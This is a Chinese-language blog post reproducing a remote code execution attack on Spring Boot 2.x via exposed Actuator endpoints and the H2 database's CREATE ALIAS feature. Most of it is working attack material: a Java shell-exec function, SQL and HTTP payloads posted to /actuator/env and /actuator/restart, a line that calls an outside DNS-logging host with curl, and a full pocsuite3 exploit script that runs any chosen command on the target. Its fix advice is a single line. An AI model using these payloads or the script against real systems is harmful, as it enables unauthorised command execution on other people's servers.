Spring Boot Actuator H2 RCE漏洞复现

admin 2022年1月6日01:11:00评论670 views字数 4201阅读14分0秒阅读模式

漏洞概述

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

HikariCP数据库连接池

之前的两个RCE都是在Spring Boot 1.x版本下进行的,在spring 2.x下的版本如何进行RCE呢。幸运的是,Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。

H2 CREATE ALIAS 命令

H2数据库引擎是一个流行的java开发数据库,非常容易与Spring Boot集成,仅仅需要如下的一个dependency。

1
2
3
4
5
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
</dependency>

在H2中有一个非常重要的命令,与PostgreSQL中的用户定义函数相似,可以用CREATE ALIAS创建一个java函数然后调用它,示例如下:

1
2
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

仿照这个,创建命令执行的java函数可以如下:

1
2
3
4
5
6
String shellexec(String cmd) throws java.io.IOException { 
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next();
} throw new IllegalArgumentException();
}

那么RCE所需的SQL语句即:

1
2
CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('curl ntxo6i.dnslog.cn');

与1.x类似,在端点/actuator/env通过POST方法进行环境变量的赋值。payload为

1
2
3
4
5
POST /actuator/env HTTP/1.1

content-type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl ntxo6i.dnslog.cn');"}

执行RCE的SQL语句已经构建好,接下来就是触发一个新的数据库连接,通过向端点/actuator/restart发送POST请求,即可重启应用出发新的数据库连接。请求如下

1
2
3
4
5
POST /actuator/restart HTTP/1.1

content-type: application/json

{}

image-20210122104659742

命令执行的结果:

image-20210122104154963

POC编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from collections import OrderedDict
import time
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString


class DemoPOC(POCBase):
vulID = '00000' # ssvid
version = '1.0'
author = ['ol4three']
vulDate = '2020-1-22'
createDate = '2020-1-22'
updateDate = '2020-1-22'
references = ['']
name = ''
appPowerLink = 'https://spring.io/projects/spring-boot'
appName = 'spring-boot'
appVersion = '2.x'
vulType = VUL_TYPE.XSS
desc = '''springboot H2 Rce'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP

def _options(self):
o = OrderedDict()
o["exec"] = OptString('', description='Please input your exec', require=True)
return o

def _verify(self):
result = {}
url = self.url
url1 = self.url + '/actuator/env'
url2 = self.url + '/actuator/restart'
payload = '''{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('%s');"}''' % (self.get_option("exec"))
headers = {'content-type' : 'application/json'}

r1 = requests.post(url1, data=payload, headers=headers)
#time.sleep(2)
r2 = requests.post(url2, data=payload, headers=headers)
if r1.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Postdata'] = (self.get_option("exec"))

return self.parse_output(result)

def _attack(self):
return self._verify()

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(DemoPOC)

image-20210122113322544

image-20210122113340410

修复建议

升级到安全版本

参考链接

https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Boot Actuator H2 RCE漏洞复现https://cn-sec.com/archives/721279.html

发表评论

匿名网友 填写信息